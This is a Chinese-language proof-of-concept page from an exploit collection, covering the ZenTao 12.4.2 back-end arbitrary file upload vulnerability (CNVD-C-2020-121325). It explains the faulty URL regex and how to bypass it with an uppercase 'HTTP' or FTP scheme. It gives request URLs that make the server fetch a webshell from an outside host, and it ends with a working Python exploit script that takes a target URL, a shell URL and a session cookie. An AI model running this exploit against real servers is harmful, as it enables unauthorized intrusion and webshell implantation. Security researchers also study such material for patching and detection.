Awesome-POC/cms/禅道 12.4.2 后台任意文件上传漏洞 CNVD-C-2020-121325.md
2022-02-20 16:14:31 +08:00

241 lines
8.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 禅道 12.4.2 后台任意文件上传漏洞 CNVD-C-2020-121325
## 漏洞描述
百度云安全团队监测到禅道官方发布了文件上传漏洞的风险通告该漏洞编号为CNVD-C-2020-121325漏洞影响禅道<=12.4.2版本。登陆管理后台的恶意攻击者可以通过fopen/fread/fwrite方法读取或上传任意文件成功利用此漏洞可以读取目标系统敏感文件或获得系统管理权限。我们对漏洞进行了复现和分析由于需要登录后台才可以利用实际风险相对较低建议受影响的禅道用户尽快升级到最新版。
## 影响版本
```
禅道 <= 12.4.2版本
```
## 环境搭建
百度下12.4.2的禅道环境按步骤安装下载即可
[禅道官方网站](https://www.zentao.net/)
![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202162310834.png)
调用接口查询版本信息
```plain
http://xxx.xxx.xxx.xxx/www/index.php?mode=getconfig
```
![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202162310134.png)
## 漏洞复现
漏洞触发需要后台权限
根据漏洞描述查看修改后的代码片段
![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202162310790.png)
**修改前**
```php
public function downloadZipPackage($version, $link)
{
$decodeLink = helper::safe64Decode($link);
if(preg_match('/^https?\:\/\//', $decodeLink)) return false;
return parent::downloadZipPackage($version, $link);
}
```
**修改后**
```php
public function downloadZipPackage($version, $link)
{
$decodeLink = helper::safe64Decode($link);
if(!preg_match('/^https?\:\/\//', $decodeLink)) return false;
$file = basename($link);
$extension = substr($file, strrpos($file, '.') + 1);
if(strpos(",{$this->config->file->allowed},", ",{$extension},") === false) return false;
return parent::downloadZipPackage($version, $link);
}
```
这里传入的参数为版本和link地址然后base64解码正则判断是否为**http**或**https**协议,这里的正则过滤并不完整,所以可以绕过用于下载恶意文件
![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202162310974.png)
可以大写**http**或请求**FTP**来绕过正则
![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202162310000.png)
![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202162310460.png)
跟进一下**parent::downloadZipPackage**这个方法,跟着来到**zentao\module\client\model.php**文件中
![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202162311682.png)
```php
public function downloadZipPackage($version, $link)
{
ignore_user_abort(true);
set_time_limit(0);
if(empty($version) || empty($link)) return false;
$dir = "data/client/" . $version . '/';
$link = helper::safe64Decode($link);
$file = basename($link);
if(!is_dir($this->app->wwwRoot . $dir))
{
mkdir($this->app->wwwRoot . $dir, 0755, true);
}
if(!is_dir($this->app->wwwRoot . $dir)) return false;
if(file_exists($this->app->wwwRoot . $dir . $file))
{
return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
}
ob_clean();
ob_end_flush();
$local = fopen($this->app->wwwRoot . $dir . $file, 'w');
$remote = fopen($link, 'rb');
if($remote === false) return false;
while(!feof($remote))
{
$buffer = fread($remote, 4096);
fwrite($local, $buffer);
}
fclose($local);
fclose($remote);
return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
}
```
可以简单看到这里获取link传入的文件名通过**fopen**打开该文件,写入禅道目录**www/data/client/version**中
查看一下有没有调用这个方法的地方
![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202162311411.png)
找到了**download**方法调用了这个漏洞点,所以我们有两种下载恶意文件的方法
```plain
http://xxx.xxx.xxx.xxx/www/client-download-[$version参数]-[base64加密后的恶意文件地址].html
http://xxx.xxx.xxx.xxx/www/index.php?m=client&f=download&version=[$version参数]&link=[base64加密后的恶意文件地址]
```
首先先上传一个恶意文件可以是FTP也可以是HTTP
例如我上传的文件URL为[**http://peiqi.tech/SHELL.php**](http://peiqi.tech/SHELL.php)
```plain
http://peiqi.tech/SHELL.php
|
base64加密 HTTP://peiqi.tech/SHELL.php
|
SFRUUDovL3BlaXFpLnRlY2gvU0hFTEwucGhw
```
请求地址则为
```plain
http://xxx.xxx.xxx.xxx/www/index.php?m=client&f=download&version=1&link=SFRUUDovL3BlaXFpLnRlY2gvU0hFTEwucGhw
```
![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202162311474.png)
下载的目录地址为**zentaopms\www\data\client\1**
目录为version名称
![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202162311107.png)
成功上传webshell
![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202162311177.png)
## 漏洞POC
- POC使用需要拥有后台Cookie
```python
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.tech
import base64
import requests
import random
import re
import json
import sys
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: zentao version <= 12.4.2 \033[0m')
print('+ \033[36m使用格式: python3 CNVD-C-2020-121325.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+ \033[36mShell >>> http://xxx.xxx.xxx.xxx/shell.php(恶意文件地址) \033[0m')
print('+ \033[36mZentaosid >>> xxxxxxxxxxxxxx(cookie字段) \033[0m')
print('+------------------------------------------')
def POC_1(target_url):
version_url = target_url + "/www/index.php?mode=getconfig"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
response = requests.get(url=version_url, timeout=20, headers=headers)
version = json.loads(response.text)['version']
print("\033[32m[o] 禅道版本为:{}\033[0m".format(version))
except Exception as e:
print("\033[31m[x] 获取版本失败 \033[0m", e)
def POC_2(target_url, shell_url, zentaosid):
options = shell_url.split("://")
if options[0] == "http":
shell_url = "HTTP://" + options[1]
elif options[0] == "ftp":
shell_url = "ftp://" + options[1]
else:
print("\033[31m[x] 请使用正确的请求地址 \033[0m")
sys.exit(0)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Cookie":"zentaosid={}".format(zentaosid)
}
shell_url_base = str((base64.b64encode(shell_url.encode('utf-8'))),'utf-8')
vuln_url = target_url + "/www/index.php?m=client&f=download&version=test&link={}".format(shell_url_base)
print("\033[32m[o] 请求漏洞url{}\033[0m".format(vuln_url))
try:
response = requests.get(url=vuln_url, timeout=20, headers=headers)
if "保存成功" in response.text:
print("\033[32m[o] 成功写入WebshellURL地址为{}/www/data/client/test/Webshell_name.php\033[0m".format(target_url))
else:
print("\033[31m[x] 恶意文件下载失败 \033[0m")
except:
print("\033[31m[x] 恶意文件下载失败 \033[0m")
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
shell_url = str(input("\033[35mShell >>> \033[0m"))
zentaosid = str(input("\033[35mZentaosid >>> \033[0m"))
POC_1(target_url)
POC_2(target_url, shell_url, zentaosid)
```
![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202162311483.png)